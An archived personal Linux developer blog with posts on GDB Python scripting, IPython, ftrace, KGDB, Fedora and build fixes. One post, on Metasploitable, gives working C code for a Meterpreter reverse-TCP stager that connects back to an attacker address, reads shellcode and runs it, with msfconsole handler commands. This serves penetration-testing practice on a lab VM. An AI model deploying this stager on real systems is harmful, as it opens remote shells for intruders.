Scott Tsai's blog

Backporting "watch -l" from GDB 7.4+ using Python

2012-02-07T03:52:00.001+08:00

GDB 7.4 added a very useful "-l / -location" option to the "watch expr" command[1]:

"Ordinarily a watchpoint respects the scope of variables in expr. The -location argument tells gdb to instead watch the memory referred to by expr. In this case, gdb will evaluate expr, take the address of the result, and watch the memory at that address.".

i.e. If you do "watch p->field_that_gets_corrupted" the watch point will get deleted when local variable p goes out of scope while "watch -l" works the way you want.

For those stuck using GDB 7.2 (as shipped in Ubuntu 11.04) the following GDB Python script ( gdb-watch-location.py) might help:

import gdb

def _watch_location(expr, watch_point_class):
    l = gdb.parse_and_eval(expr).address
    wp_str = '*(%(type)s)(%(address)s)' % dict(type=l.type,
                                               address=l)
    gdb.Breakpoint(wp_str, gdb.BP_WATCHPOINT, watch_point_class)

class _WatchLocationCommand(gdb.Command):
    'Like "watch -l" in gdb 7.4+'
    def __init__(self):
        gdb.Command.__init__(self, 'watch-l',
                             gdb.COMMAND_BREAKPOINTS,
                             gdb.COMPLETE_SYMBOL)

    def invoke(self, arg, from_tty):
        _watch_location(arg, gdb.WP_WRITE)

class _RWatchLocationCommand(gdb.Command):
    'Like "rwatch -l" in gdb 7.4+'
    ...

class _AWatchLocationCommand(gdb.Command):
    'Like "awatch -l" in gdb 7.4+'
    ...

_WatchLocationCommand()
_RWatchLocationCommand()
_AWatchLocationCommand()

Suppose you're working with the following C code snippet:

struct bag {
        int a, b;
};

static void bag_poke(struct bag *p)
{
        p->a = 1;
}

Here's how gdb-watch-locations.py works:

In _watch_location(), we call gdb.parse_and_eval() to turn an expression into a gdb.Value:

In [1]: gdb.parse_and_eval('p->a')
Out[1]: <gdb.Value at 0x294a070>

A gdb.Value has a type and an address

In [2]: v = gdb.parse_and_eval('p->a')

In [3]: print v.type, v.address
int 0x7fffffffdc30

We use that to create a GDB watchpoint expression which we later pass to gdb.Breakpoint:

In [4]: '*(%(type)s)(%(address)s)' % dict(type=v.address.type, address=v.address)
u'*(int *)(0x7fffffffdc30)'

The code then adds three new GDB commands: "watch-l", "rwatch-l" and "awatch-l". Tells GDB that they should be classified as breakpoint commands in the online help system and use symbols for TAB completion.

Sample session:

$ gdb -x gdb-watch-locations.py data-access
(gdb) break bag_poke
Breakpoint 1 at 0x40050c: file data-access.c, line 9.
(gdb) run
Starting program: /home/scottt/work/scottt-gdb/data-access 

Breakpoint 1, bag_poke (p=0x7fffffffdc40) at data-access.c:9
9  p->a = 1;
(gdb) wa
watch    watch-l  
(gdb) watch-l p->a
Hardware watchpoint 2: *(int *)(0x7fffffffdc40)
(gdb) continue 
Continuing.
Hardware watchpoint 2: *(int *)(0x7fffffffdc40)

Old value = 0
New value = 1
bag_poke (p=0x7fffffffdc40) at data-access.c:10
10 }

Exploring the Gdb Python API with IPython

2012-01-31T05:10:00.001+08:00

Exploring the Gdb Python API with IPython

I've found a way to explore GDB's nice Python API in a comfortable programming environment with Python name completion by using IPython.

Save the following content in $HOME/bin/gdbipy:

#!/usr/bin/gdb --python
# vim: set filetype=python:

from IPython.zmq.ipkernel import IPKernelApp

app = IPKernelApp.instance()
app.initialize([])
app.start()

Running gdbipy would start an ipython "kernel" within the gdb process:

$ chmod +x ~/bin/gdbipy
$ gdbipy 
[IPKernelApp] To connect another client to this kernel, use:
[IPKernelApp] --existing kernel-23135.json

In another terminal, run:

$ ipython console --existing kernel-23135.json

In [1]: import gdb

In [2]: gdb.<TAB>
Display all 166 possibilities? (y or n)
gdb.ARCH_FRAME                   gdb.SYMBOL_LOC_REGPARM_ADDR
gdb.BP_ACCESS_WATCHPOINT         gdb.SYMBOL_LOC_STATIC
gdb.BP_BREAKPOINT                gdb.SYMBOL_LOC_TYPEDEF
...

You can quit the ipython console and restart it at anytime without losing state.

Here's an example session:

$ ipython console --existing kernel-23735.json

In [2]: gdb.execute('file /bin/cat')

In [3]: gdb.execute('start')

In [4]: o = gdb.execute('disassemble exit', to_string=True); print o
Dump of assembler code for function __GI_exit:
   0x0000003c902399a0 <+0>: lea    0x375cc1(%rip),%rsi        # 0x3c905af668 <__exit_funcs>
   0x0000003c902399a7 <+7>: sub    $0x8,%rsp
   0x0000003c902399ab <+11>: mov    $0x1,%edx
   0x0000003c902399b0 <+16>: callq  0x3c902398a0 <__run_exit_handlers>
End of assembler dump.

In [5]: print gdb.parse_and_eval('main').type
int (int, char **)

Having an interactive Python environment with name completion makes exploring and learning the gdb.Value API quite a bit easier.

The reason we need to run "ipython console" in a separate process from GDB is so that the two don't fight over the terminal settings. You can experience what that's like by changing the content of the gdbipy script to just "import IPython; IPython.embed()" which embeds an IPython read-eval-print loop in-process. The result is partially garbled terminal output and non functional TAB completion. The two process IPython console solution presented requires IPython 0.12+ and works out of the box on Fedora 16.

Compiling the web interface of PPCMEM/ARMMEM

2011-12-08T17:42:00.001+08:00

lwn.net just published an article by Paul McKenney introducing PPCMEM/ARMMEM. I downloaded and fixed up the source a bit to make it possible to build the web interface locally and uploaded it on github.

PPCMEM is implemented in Ocaml (the authors are from INRIA and the University of Cambridge) with two user interfaces on top: a curses interface and a web interface. The web interface is implemented by compiling the core Ocaml code into Javascript and adding a bit of hand written Javascript, CSS and HTML. All the heavy computation is done in the browser.

Web interface build dependencies:

Since Fedora doesn't have js_of_ocaml packaged and the ocaml-lwt package it comes with is too old. It's easier to install a separate Ocaml stack:

yum-builddep ocaml-lwt
Install the GODI Ocaml source distribution
Setup a LOCALPATCHES directory for GODI and put this patch-01-libev-2.3.0 under /opt/godi/localpatches/godi/godi-lwt
export PATH=/opt/godi/bin:$PATH
godi_console -> Select godi_jsofcaml -> godi will automatically download and build the dependencies

On a Debian and friends, apt-get install js-of-ocaml should be enough.

Building and launching the web interface:

export JSLIBDIR=/opt/godi/lib/ocaml/pkg-lib/js_of_ocaml

export JSBINDIR=/opt/godi/bin

# to use the js-of-caml packaged on Debian:

# export JSLIBDIR=/usr/lib/ocaml/js_of_ocaml

# export JSBINDIR=/usr/bin

make TARGET=js JSLIBDIR=$JSLIBDIR JSBINDIR=$JSBINDIR depend_js jquery-1.6.1.js js

./pcmem-web

My modifications to the ppcmem-tarball.tar.gz tarball include:

Retrieved ARM tests under src-arm/ and the missing web UI files url.js, handler.js and help.html from professor Peter Sewell's personal web directory
Wrote a new simple server side component to serve the static files (ppcmem-web)
The original Makefile assumed that js_of_ocaml/ is placed under ppcmem/ (yet doesn't bundle it, which is good ...). I added external js_of_ocaml support in an ugly hack.

Licensing wise, most of the code base in under 3 clause BSD with two modulers lincensed under LGPL plus linking exceptions. So it looks like there's nothing stopping Linux distributions from packaging this.

Metasploitable meterpreter SEGFAULT workaround

2011-04-18T18:47:00.016+08:00

If you’re using Metasploitable (a VM designed to be easy to pwn) to practice your ~~system cracking~~ penetration testing skills and find that the linux/x86/meterpreter/reverse_tcp payloads doesn't seem to work, here’s a workaround:

Download and extract con-recv-jmp.tar.bz2.
Edit LHOST, LPORT in con-recv-jmp.c and run “make” to build the code.

The makefile uses “execstack -s” to mark con-recv-jmp as requiring an executable stack.
“execstack” is in the preflink package in Fedora.

In msfconsole:


msf > use exploit/multi/handler
msf exploit(handler) > set LHOST 192.168.1.110
msf exploit(handler) > exploit

Copy con-recv-jmp to your Metasploitable VM and run it.

For a more minimal change, the stager_sock_reverse.asm in the tarball contains this patch:

--- stager_sock_reverse.asm 2011-04-18 19:42:29.408172423 +0800
+++ con-recv-jmp/stager_sock_reverse.asm 2011-04-18 19:30:56.192643320 +0800
@@ -66,7 +66,7 @@
 recv:
  pop  ebx
  cdq
- mov  dh, 0xc
+ mov  dl, 0x64
  mov  al, 0x3
  int  0x80
  jmp  ecx

The snippet above is issuing a read(2) system call, where %edx holds the number of bytes to read. The original code tries to read 0x0c * 256 = 3072 bytes which causes the read syscall to fail with -EFAULT on the 2.6.24-16-server kernel in Metasploitable. Even with the patch, you still must use: "setarch i386 -X ./stager_sock_reverse" to run the stager as it requires an executable stack.

con-recv-jmp.c (functionally equivalent to a patched stager_sock_reverse.asm in Metasploit) is pretty trivial:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <arpa/inet.h>

#define LHOST "192.168.1.110"

enum {
 BUFSIZE = 4096,
 LPORT = 4444,
 STAGER_SIZE = 100,
};

int main(int argc, char **argv)
{
 int sockfd;
 struct sockaddr_in serveraddr;
 char buf[BUFSIZE];

 if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  fprintf(stderr,  "socket failed: \"%s\"\n", strerror(errno));

 bzero((char *) &serveraddr, sizeof(serveraddr));
 serveraddr.sin_family = AF_INET;
 serveraddr.sin_addr.s_addr = inet_addr(LHOST);
 serveraddr.sin_port = htons(LPORT);

 if (connect(sockfd, (const struct sockaddr*)&serveraddr, sizeof(serveraddr)) < 0) 
  fprintf(stderr,  "connect failed: \"%s\"\n", strerror(errno));

 if (read(sockfd, buf, STAGER_SIZE) < 0)
  fprintf(stderr,  "read failed: \"%s\"\n", strerror(errno));

 if (1) {
  /* The linux/x86/meterpreter 'stager' payload requires 'sockfd' to be in edi.
   * We want to clobber edi and not have gcc restore it */
  __asm__("movl %[sockfd],%%edi" : /* OUTPUT */ : /* INPUT */ [sockfd] "r" (sockfd) : /* CLOBBERS */);
  ((void(*)(void))buf)();
 } else {
  /* To disassemble the code, run 'udcli' from udis86 on 'stager' */
  FILE *f = fopen("stager", "w");
  fwrite(buf, STAGER_SIZE, 1, f);
  fclose(f);
 }
 return 0;
}

Google App Engine SDK needs python >= 2.6.4

2010-04-10T05:18:00.003+08:00

If you're getting "ImportError: No module named _multiprocessing" when using the Google App Engine SDK:


$ ./google-appengine-sdk/dev_appserver.py --debug itrs-test
/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/appcfg.py:41: DeprecationWarning: the sha module is deprecated; use the hashlib module instead
 import sha
/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver_login.py:33: DeprecationWarning: the md5 module is deprecated; use hashlib instead
 import md5
INFO     2010-04-09 21:08:33,956 appengine_rpc.py:159] Server: appengine.google.com
Allow dev_appserver to check for updates on startup? (Y/n):
dev_appserver will check for updates on startup.  To change this setting, edit /home/scottt/.appcfg_nag
INFO     2010-04-09 21:08:37,314 appcfg.py:357] Checking for updates to the SDK.
DEBUG    2010-04-09 21:08:37,317 appengine_rpc.py:345] Sending HTTP request:
POST /api/updatecheck?release=1.3.2&timestamp=1266535890&api_versions=%5B%271%27%5D HTTPS/1.1
Host: appengine.google.com
X-appcfg-api-version: 1
Content-type: application/octet-stream
User-agent: appcfg_py/1.3.2 Linux/2.6.32.10-90.fc12.x86_64 Python/2.6.2.final.0


INFO     2010-04-09 21:08:38,355 appcfg.py:371] The SDK is up to date.
WARNING  2010-04-09 21:08:38,355 datastore_file_stub.py:623] Could not read datastore data from /tmp/dev_appserver.datastore
INFO     2010-04-09 21:08:38,458 dev_appserver_main.py:399] Running application itrs-test on port 8080: http://localhost:8080
DEBUG    2010-04-09 21:08:47,801 dev_appserver.py:488] Matched "/" to CGI dispatcher with path hello.py
DEBUG    2010-04-09 21:08:47,841 dev_appserver.py:1685] Could not import "_multiprocessing": Disallowed C-extension or built-in module
ERROR    2010-04-09 21:08:47,846 dev_appserver.py:3225] Exception encountered handling request
Traceback (most recent call last):
 File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 3185, in _HandleRequest
   self._Dispatch(dispatcher, self.rfile, outfile, env_dict)
 File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 3128, in _Dispatch
   base_env_dict=env_dict)
 File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 515, in Dispatch
   base_env_dict=base_env_dict)
 File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 2387, in Dispatch
   self._module_dict)
 File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 2295, in ExecuteCGI
   logging.debug('Executing CGI with env:\n%s', pprint.pformat(env))
 File "/usr/lib64/python2.6/logging/__init__.py", line 1459, in debug
   root.debug(*((msg,)+args), **kwargs)
 File "/usr/lib64/python2.6/logging/__init__.py", line 1018, in debug
   self._log(DEBUG, msg, args, **kwargs)
 File "/usr/lib64/python2.6/logging/__init__.py", line 1142, in _log
   record = self.makeRecord(self.name, level, fn, lno, msg, args, exc_info, func, extra)
 File "/usr/lib64/python2.6/logging/__init__.py", line 1117, in makeRecord
   rv = LogRecord(name, level, fn, lno, msg, args, exc_info, func)
 File "/usr/lib64/python2.6/logging/__init__.py", line 272, in __init__
   from multiprocessing import current_process
 File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 1272, in Decorate
   return func(self, *args, **kwargs)
 File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 1922, in load_module
   return self.FindAndLoadModule(submodule, fullname, search_path)
 File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 1272, in Decorate
   return func(self, *args, **kwargs)
 File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 1824, in FindAndLoadModule
   description)
 File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 1272, in Decorate
   return func(self, *args, **kwargs)
 File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 1775, in LoadModuleRestricted
   description)
 File "/usr/lib64/python2.6/multiprocessing/__init__.py", line 83, in 
   import _multiprocessing
ImportError: No module named _multiprocessing

Your options are:

Apply this patch by hand
Upgrade to python >= 2.6.4

See http://bugs.python.org/issue7120 for the details.

Ftrace Tutorials

2010-02-11T16:15:00.002+08:00

LWN.net Ftrace Articles by Steven Rostedt

Ever wanted to see what functions are called in a running Linux kernel?

    [tracing]# cd /sys/kernel/debug/tracing
    [tracing]# echo function_graph > current_tracer 
    [tracing]# cat trace | head -20
    # tracer: function_graph
    #
    # CPU  DURATION                  FUNCTION CALLS
    # |     |   |                     |   |   |   |
     1)   1.015 us    |        _spin_lock_irqsave();
     1)   0.476 us    |        internal_add_timer();
     1)   0.423 us    |        wake_up_idle_cpu();
     1)   0.461 us    |        _spin_unlock_irqrestore();
     1)   4.770 us    |      }
     1)   5.725 us    |    }
     1)   0.450 us    |    mutex_unlock();
     1) + 24.243 us   |  }
     1)   0.483 us    |  _spin_lock_irq();
     1)   0.517 us    |  _spin_unlock_irq();
     1)               |  prepare_to_wait() {
     1)   0.468 us    |    _spin_lock_irqsave();
     1)   0.502 us    |    _spin_unlock_irqrestore();
     1)   2.411 us    |  }
     1)   0.449 us    |  kthread_should_stop();
     1)               |  schedule() {

KGDB Tutorial

2010-01-22T22:12:00.005+08:00

KGDB Tutorial

Building a Kernel that supports KGDB

Upstrteam documentation: Using kgdb and the kgdb Internals
Set CONFIG_KGDB=y in your kernel .config (linux-2.6/lib/Kconfig.kgdb):

menuconfig KGDB
   bool "KGDB: kernel debugging with remote gdb"
   depends on HAVE_ARCH_KGDB
   depends on DEBUG_KERNEL && EXPERIMENTAL
   help
   If you say Y here, it will be possible to remotely debug the
   kernel using gdb.

Set CONFIG_KGDB_CONSOLE=y to serve as the KGDB I/O driver (linux-2.6/lib/Kconfig.kgdb, linux-2.6/drivers/serial/kgdboc.c):

config KGDB_SERIAL_CONSOLE
   tristate "KGDB: use kgdb over the serial console"
   select CONSOLE_POLL
   select MAGIC_SYSRQ
   default y
   help
   Share a serial console with kgdb. Sysrq-g must be used
   to break in initially.

KGDB Boot and Module Options

Boot with kgdboc=<tty-device>,[baud] (ex: kgdboc=ttyAMA1 for qemu-system-arm)
(alternatively) From sysfs
echo TTY_DEVICE > /sys/module/kgdboc/parameters/kgdboc

Connecting GDB to the Kernel through QEMU Emulated Serial Port

[arm-cross: linux-2.6]$ qemu-system-arm -nographic -s -M integratorcp -kernel
./zImage-2.6.32-integratorcp-v5 -serial tcp:localhost:2345,server -net
nic,vlan=0 -net tap,vlan=0,ifname=tap0,script=./scripts/qemu-ifup
-append "console=ttyAMA0 root=/dev/nfs
nfsroot=172.20.0.1:/nfsroot/box,nfsvers=3 rw
ip=172.20.0.2::172.20.0.1:255.255.255.0 kgdboc=ttyAMA0 kgdbwait"
[arm-cross: linux-2.6]$ telnet localhost:2345
Wait till the telnet session show "kgdb: Waiting for connection from remote gdb..." then terminate telnet with CTRL-] then CTRL-D
[arm-cross: linux-2.6]$ gdb ./vmlinux
(gdb) target remote localhost:2345
Trouble Shooting: (gdb) set debug remote 1
Connecting GDB to the Kernel through a Physical Serial Port
[scottt@2530p linux-2.6]$ gdb ./vmlinux
(gdb) set remotebaud 115200
(gdb) target remote /dev/ttyS0

Fedora 12: Favorite Bugs and Features

2009-11-17T23:17:00.008+08:00

Thanksgiving in the U.S. is just around the corner and like clockwork we have another Fedora Linux release.

Fedora 12: Unite

Favorite (fixed) bug: [531419] qemu issue with non-virtio NICs receiving heavy traffic volumes:

I helped track down and fix this bug upstream, asked nicely and got the patch into Fedora 12's qemu-0.11 package in time. This way people following my How to handle a Linux BSP tutorial can still get working NFS root on an emulated ARM platform.

Favorite new feature: wireshark USB traffic capture:

The required kernel(usbmon), libpcap and wireshark changes are all in place in Fedora 12 and we can capture USB packets larger then 32 bytes, save them in .pcap files and dissect them in the familiar wireshark user interface.

Everything works out of the box just by "yum install wireshark && wireshark"! Doing USB work have never been more pleasant.

Vrapper: Eclipse Plugin for VIM Addicts

2009-10-30T14:12:00.003+08:00

People who were exposed to the VIM editor at a young age tend to become addicted to its keybindings. I recently discovered the Vrapper Eclipse plugin that although still young and not as featureful as some of the plugins for other IDEs listed here made using Eclipse a much more pleasurable experience.

The usual reason a heavy VIM user would consider using Eclipse is for its Java refactoring or C/C++ code browsing, "find all call sites of function F" features. The C++ parsing and code completion part in particular is something proprietary tools like Source Insight does a lot better then older open source tools like cscope.

In a previous job, I hacked extensively on a code base where Java code with deep class hierarchies and C and C++ code from different vintage and style was linked into a single Linux process. Some of that code implemented device drivers in userspace using a chip vendor supplied abstraction layer which is of course not as well designed as the Linux kernel driver API. I relied on Eclipse and cscope + VIM to navigate the Java and C/C++ part of that code base respectively. I wish I could have used the Vrapper plugin then.

How to Handle a Linux BSP: from u-boot to "Hello World!"

2009-08-28T15:11:00.004+08:00

Get a minimal Linux system capable of running a "Hello World" C application from the pack of software that your chip vendor calls their Linux "Board Support Package".
Configure and build the u-boot bootloader, the Linux kernel, the busybox minimal application environment and getting dynamically linked applications working.
Uses the qemu emulator to emulate an ARM hardware platform that loads all software over the network.

mozrunner on Fedora x86_64

2009-08-03T03:57:00.008+08:00

If you try to use the mozrunner python library on Fedora or Red Hat x86_64, you'll get:

$ mozrunner
Traceback (most recent call last):
  File "/home/scottt/work/itrs_test/env/bin/mozrunner", line 8, in 
    load_entry_point('mozrunner==1.3.5', 'console_scripts', 'mozrunner')()
  File "/home/scottt/work/itrs_test/env/lib/python2.6/site-packages/mozrunner/__init__.py", line 86, in main
    moz = get_moz_from_settings(settings)
  File "/home/scottt/work/itrs_test/env/lib/python2.6/site-packages/mozrunner/__init__.py", line 165, in get_moz_from_settings
    cmd_args=settings['MOZILLA_CMD_ARGS'])
  File "/home/scottt/work/itrs_test/env/lib/python2.6/site-packages/mozrunner/__init__.py", line 131, in get_moz
    raise Exception ('No default or local profile has been set.')
Exception: No default or local profile has been set.

the solution: see mozrunner issue 10 for a trivial patch to ask mozrunner to look under /usr/lib64 instead of just /usr/lib.

If you're trying to use the windmill web testing framework, you'll need mozrunner-1.x-fedora-x86_64.patch instead until someone ports windmill to mozrunner-2.

Don't you just love 64 bit userspace packaging differences (multilib) between Linux distributions?

mkdosfs on larger then 2GB filesystems

2009-07-20T22:08:00.004+08:00

If you have trouble creating FAT (a.k.a. vfat, fat32) filesystems larger then 2GB, remember to build mkfs.vfat (mkdosfs) from dosfstools with:


 make CFLAGS='-D_FILE_OFFSET_BITS=64'

Some embedded chip vendors forget to do this in their Linux Board Support Packages.

See 'feautre_test_macros(7)' for the details regarding defining the '_FILE_OFFSET_BITS=64' C preprocessor symbol.
Basically it causes the 'off_t' type in the C library to become 64 bits. ISO C and POSIX functions that uses 'off_t' include:


 ftruncate, lockf, lseek, pread, pwrite, truncate, fseek, ftello

Google 'large file support' for more info.

'getline' is in POSIX 2008 and exposed in stdio.h by default

2009-04-03T20:21:00.004+08:00

While using buildroot-avr32-v2.3.0 on Fedora 11, I got this build failure:


linux-2.6.27.6]$ make headers_install
<... SNIP ...>
 HOSTCC  scripts/unifdef
scripts/unifdef.c:209: error: conflicting types for ‘getline’
/usr/include/stdio.h:653: note: previous declaration of ‘getline’ was here

Apparently, 'getline' is now part of POSIX 2008 and is exposed by glibc-2.9.90's stdio.h by default without the user having to declare feature test macros like "#define _XOPEN_SOURCE NNN" or "_GNU_SOURCE".
I pity the kids who are now trying the 'getline' example from
"The C Programming" Chapter 1 and don't know they need to use 'c89' (or 'c99', 'gcc -std=c99 etc) instead of 'gcc'.

Edit: see also:

[PATCH] scripts/unifdef.c: rename getline symbol to something else

getline not working in Fedora Rawhide

My first Android (gcc-4.4 build) patch

2009-03-21T21:40:00.002+08:00

My first patches to Google's Android code base are trivial: they make the Android platform build on Fedora 11's gcc-4.4 pre-release:

I got stuck half way through on this known issue of the "opencore" library failing to build because of the recent "cupcake" branch merge so there are likely more gcc-4.4 patches required.

Getting the trivial patches merged were reasonably painless. I followed the submit-patches document and:

Signed the individual Contributor Agreement and uploaded my SSH key.
Used "repo status", "git commit -a", "repo upload" to upload my patches.

I do hate how the "repo" git wrapper script always wants to fetch the latest code from the network on "repo sync" and doesn't have a "repo checkout" command that works from my local git repositories without touching the network though. Connecting to android.git.kernel.org from Taiwan is painfully slow.

Scott Tsai's blog

Backporting "watch -l" from GDB 7.4+ using Python

See Also

Exploring the Gdb Python API with IPython

Exploring the Gdb Python API with IPython

See Also

Compiling the web interface of PPCMEM/ARMMEM

Metasploitable meterpreter SEGFAULT workaround

Google App Engine SDK needs python >= 2.6.4

Ftrace Tutorials

LWN.net Ftrace Articles by Steven Rostedt

KGDB Tutorial

KGDB Tutorial

Building a Kernel that supports KGDB

KGDB Boot and Module Options

Connecting GDB to the Kernel through QEMU Emulated Serial Port

Connecting GDB to the Kernel through a Physical Serial Port

Fedora 12: Favorite Bugs and Features

Fedora 12: Unite

Vrapper: Eclipse Plugin for VIM Addicts

How to Handle a Linux BSP: from u-boot to "Hello World!"

mozrunner on Fedora x86_64

mkdosfs on larger then 2GB filesystems

'getline' is in POSIX 2008 and exposed in stdio.h by default

My first Android (gcc-4.4 build) patch